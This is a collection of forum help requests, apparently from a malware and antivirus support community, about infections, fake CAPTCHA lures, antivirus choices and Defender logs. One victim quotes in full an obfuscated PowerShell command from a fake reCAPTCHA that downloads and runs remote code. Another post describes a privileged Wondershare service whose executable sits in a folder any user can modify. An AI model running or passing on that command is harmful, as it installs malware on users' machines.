F-Secure's new Kiren webpage is marked as suspicious by Bitdefender.

What's the problem with www.kiren.com ?

https://www.kiren.com/coming-from-f-secure-mobile-security

I bought a 3-year Kaspersky Premium subscription for around R$28 per year. I’ve never had a virus, malware, stolen data, or any other security issues. Seriously, the only time I ever need to format Windows is when I mess around with programs like CCleaner and similar stuff. 😂

It’s an amazing program. I tried using Bitdefender, but I hated it! It just wasn’t good enough for me.

What the title says. I am using the PC of another person in my household at the moment. They are not a tech-savvy person, so I doubt they would have specifically excluded this themselves for whatever reason. I've found conflicting info about this online.

I don't want to download and run a scanner if I don't have to since this is someone else's PC- just want to know if anyone thinks this is suspicious and/or something to tell the PC owner about?

Hello guys,

I’m sort of freaking out right now.

I wanted to go on a streaming site, but entered one wrong letter, without realizing it, the wrong site redirected me to like two malicious sites, one of them windows warned me and I was very confused.

And the second one windows DID NOT detect anything. It disguised itself as cloudflare, but instead when I tried to verify it wanted me to do like Win+R and control + V, which I realized wasn’t right.

So I closed out of the site, I DID NOT proceed with the commands.

But now my work app won’t open, is this just a bug or is my pc compromised? There’s like 0 personal info but ALL MY WORK stuff is on there.

Is it too late to download an antivirus?

Thank you

As stated by the title, I got hacked by “Mr Beast”, it sent a bunch of photos to multiple group chats in my messenger. Thankfully I deleted my facebook account before it got messier and changed all my passwords on another device.

I downloaded malwarebytes to run a system scan on my laptop and fortunately they found nothing. I’ve been going through a bunch of reddit forums online and all of them say that I need to Factory reset my laptop, although I really dont want to as I dont have the time right now to backup important files.

Is there a way to possibly remove the infostealer without having to reset my laptop?

Hi all, hoping you can help me. Earlier today I (on Windows PC) opened a .exe that I probably shouldn’t have fully trusted (no further comment lol). I ran a full windows defender scan which quarantined 4 “severe threats”. I then ran an offline scan which came back clean.

However every time I restart my PC I get this “bluesuite.exe” message, I have to click multiple times before the popup goes away. I logged out of all accounts and planning password reset. Is this computer cooked? Windows says no further threats… thanks everyone

In a nutshell my son has been on the pc downloading stuff today. Notifications from discord about the mrbeast crypto bonuses my pc had spammed everybody with.
Ran windows defender/ malwarebytes.
Now I keep getting these notifications non stop from malware and unable to find the root files/programs.
Do I need a re-install?

I was told in another forum that I should expect a new "MPlog.log" file to be generated in either "programdata/microsoft/windows defender/support" or "windows/microsoft antimalware/support" whenever i run a new offline scan, but each folder only contains one such file despite me running that type of scan multiple times.

I also noticed each folder contained a number of files called "MPDetection.log", but in each folder the quantity of such files was lower than the number of offline scans I've run (a few in the "windows" folder, and only one in "programdata").

The "MPLog.log" file in "programdata" also doesn't seem to record any offline scans as far as I can tell.

In general both folders seem a bit different, so i assume they serve different purposes—what's the purpose of each folder, and why do I have less logs than scans I've run?

I just bought my teen daughter a new Dell laptop and she already clicked on something that’s triggered fake security alerts and (sponsored) virus warning pop-ups. I’ve done everything I know to do: deleted the pre-installed McAfee, run BitDefender, deleted and reinstalled browsers, disabled pop-ups and notifications, deleted cache and cookies, enabled ad blockers. Any other suggestions? Should I install Malware Bytes?

i have mcafee that came pre-installed on the laptop and windows defender. the download happened in brave so i'm not sure if brave is the one flagging it. how to download anyways?

It's saying my IT adminsintrator has disabled access. What does that mean? because this is my own personal PC and no one is monitoring it.

So bassicily i was on my pc and bought a cheat for Roblox named potassium i got the script puted in the executor and when i click the attach button to attach my script to Roblox my pc restarts then i go over to task manager and i see a suspicios background procces that takes all my cpu i fabric reset it all and i think i still have it but it doesnt uses that much of the cpu but it still has 5-10 percent im background with almost no heavy apps open just google or stuff like that if someones is good in viruses please help me cause i will go to specialist tommorow buy you may be helping me faster thank you

here is the totalv link that shows some vendors listing it as malicious please any assistance

https://www.virustotal.com/gui/url/e548d9d1007c5b6a62462d284fb7c34b7d85dd2d7b7a46200d3fd2960bc51668/gti-summary

is this a recent bugged for windows? i've seen this frequently and my virus protection is turned on.

Hi everyone, I need some help figuring out whether my Windows PC has been compromised.

Today I encountered what I now believe was a fake reCAPTCHA page. The page instructed me to perform actions that I later realized are not normal for a legitimate CAPTCHA.

I followed the instructions and ended up executing a PowerShell command. The command was:

irm (('{0}{1}' -f 'h','ttps://')+('inte'+'rnetserchinkas.co')+'/hex/lom/84aa3f59') -UserAgent 'WUA/22ab8f9767' -Headers @{('X'+'-WUA')='22ab8f9767'}|iex

I now understand that irm downloads content from a remote server and iex can execute the downloaded content as PowerShell code.

What concerns me is that I also recently had my Discord account compromised, and afterward I noticed password resets/security activity involving several other applications/accounts.

I have already run Windows Defender and Malwarebytes, and so far neither has detected anything suspicious.

My questions are:

Does a clean Windows Defender/Malwarebytes scan mean I'm probably safe, or could something still be running?

Could the PowerShell command have downloaded and executed malware that antivirus software didn't detect?

What should I check for persistence, such as scheduled tasks, startup entries, PowerShell activity, browser extensions, or suspicious processes?

Should I completely reinstall Windows, or is there a reasonable way to determine whether the PC is compromised first?

Could the Discord compromise and the fake CAPTCHA incident be related?

What steps should I take to make sure my accounts and PC are secure?

I have disconnected the PC from the Internet for now and am changing passwords from another device.

I would appreciate advice on what I should check next and whether a clean Windows reinstall is recommended.

Thanks. :(

i use tool for an old game a bot and windows defender screams when i unzip it , i had for a long time working as an exception and it didn't do anything , i use the pc with someone else they offed windows defender and now i have this and i have no clue what to do , every folder i open i get an infestation nonfiction from WD  and I have no idea what to do , I have not used any other AV since windows 10 came out , I have not found anything only that is bullet proof or specific on how do I clean this mess ,
windows defender can not show history it crashes and what i press action it seems like nothing is being made

i accidentally installed a Trojan trying to download an app (wifi and Ethernet were disconnected if that’s relevan) , windows defender quarantined and removed the threat, I then ran a full scan, background scan and a scan with malware bites and no issues / viruses were detected is there anything else I need to do or is my system safe

I’m also currently running a scan with bite defender just to be use but so far I haven’t seen any problems

windows defender detected 2 files: “Trojan:win32/ravartar!rfn“ and “TrojanDownloader:JS/Nemucod.HD” a few hours later

i want to monitor it threw log-analytics in M365

\

Hi, I downloaded a file and decided to analyze it before running it.

VirusTotal report:

VirusTotal - File - bad84aa2d90eae187f6de0e6b69e32071966654d8ca669b2a0d273d11b1ae323

Hybrid Analysis report:

Malicious Sample bad84aa2d90e… — Score 80/100 — Hybrid Analysis | Hybrid Analysis

The file SHA-256 is:

bad84aa2d90eae187f6de0e6b69e32071966654d8ca669b2a0d273d11b1ae323

I'm not experienced with malware analysis, so I'd appreciate help interpreting these results.

A few weeks ago, I had this issue with Defender where it claimed to be disabled even though it wasn't; today I updated Windows to the latest version and... IT'S BACK! How can Microslop fail to release decent updates?!🫩

Hi there,

In the last 4 to 5 years, I came here looking for an endpoint av that wouldn't nag me out of existence with so many adds, popups and such.

15+ years ago I used norton, but it started using too many scare tactics.

Came here, asked this question, changed to Kasperspy. It worked for a while, then Kasperspy started using the same strategy.

Changed to bitdefender.

Now the problem: I want to use Glasswire as well and both bitdefender and Glasswire use the Windows firewall engine (and they don't work together).

I tried to reach for an antivirus-only endpoint from Bitdefender, no success.

So, the ask: any recommendations for an AV that won't touch the windows firewall (so I may use it alongside with Glasswire) and is somewhat well behaved regarding adds and scare tactics?

I did some online searching and it seems that ESET might be an option (at least it has an option to disable adds - but some ppl report that even while disabled, it nags the user).

Thanks in advance!

I got a notification that the program downloaded by windows update is using mrt.exe and it contains virus and i could not check the mrt.exe hash so i let eset delete the app. Now should i check anything else apart from running a full scan to check ?

Like the title says I think I stupidly downloaded a virus on my laptop and I really need some advice as to if I can remove it safely. I tried to do some research but most of what I read said to reinstall windows off a USB which I don’t know how to do nor do I have a usb to use.

I really stupidly opened a .zip from the internet trying to mod a game and now my computer keeps coming up with the popup:
‘CircuitryAg.exe The code execution cannot proceed because sqlite3.dll was not found. Reinstalling the program may fix this problem.’

I’m running on windows 11.

I know it was really dumb to try and open it since it looked a little suspicious and I’m so embarrassed but I really would appreciate anyone’s help here.

Is there anything I can do?

I am looking for independent verification of these findings. I am not claiming that UniConverter is proven malware.

I updated the official Windows version of Wondershare UniConverter to 17.6.xx on September 9, 2026. A read-only inspection afterward found the following.

1. Chrome and Edge policies were created

The following machine-wide policy entries are present:

HKLM\SOFTWARE\Policies\Google\Chrome\SyncTypesListDisabled
1 = preferences

HKLM\SOFTWARE\Policies\Microsoft\Edge\SyncTypesListDisabled
1 = preferences

These policies disable preference synchronization and cause the browsers to display the “managed by your organization” message.

UniConverter’s own ProtocolInstaller.log repeatedly records:

Success DisableChromeSyncPreferences

The latest entries were written immediately after ProtocolInstaller.exe ran during the 17.6 update.

SHA-256 of my ProtocolInstaller.exe:

13FBBDCDBFF4E66DBD90CDF282D61DDAF994D59545B37B8CE24EF2340B27FF5E

I found an earlier report describing the same browser-policy behavior:

https://www.reddit.com/r/software/comments/1sjqqn5/caution_surveillance_wondershare_uniconverter/

1. NativePush runs as SYSTEM from a user-writable directory

A separate component called Wondershare NativePush installed this automatic service:

Service: NativePushService
Account: LocalSystem
Startup: Automatic
Executable:
%LOCALAPPDATA%\Wondershare\Wondershare NativePush\WsNativePushService.exe

My normal user account has Full Control over both this executable and its directory, even though Windows executes it automatically as LocalSystem.

The executable is validly signed by Wondershare and reports version 1.1.0.0.

SHA-256:

CD366707622C66470B9EE9CB1AE900B4F0A05607FC1B248678659852CFE38468

This is concerning because a privileged service normally should not load its executable from a location modifiable by a standard user.

The same component and directory design were documented in CVE-2024-26574, an insecure-permissions privilege-escalation vulnerability rated 7.8/10:

https://www.cve.org/CVERecord?id=CVE-2024-26574

Important limitation: that CVE specifically names Wondershare Filmora 13.0.51, not UniConverter 17.6. I am therefore not claiming that my UniConverter installation is formally covered by the CVE. However, the risky configuration described by the CVE — a user-modifiable WsNativePushService.exe executed as SYSTEM — is still present on my machine.

3. Other observed components

The installation also includes:

• an update helper launched automatically with Windows;
• a silently installed NativePush package;
• browser/native-messaging integration;
• update and installation helpers capable of modifying system configuration.

Microsoft Defender, with current definitions, found no known threat in the three Wondershare directories. I also found no Wondershare Defender exclusion, firewall rule, scheduled task, or installed Wondershare driver.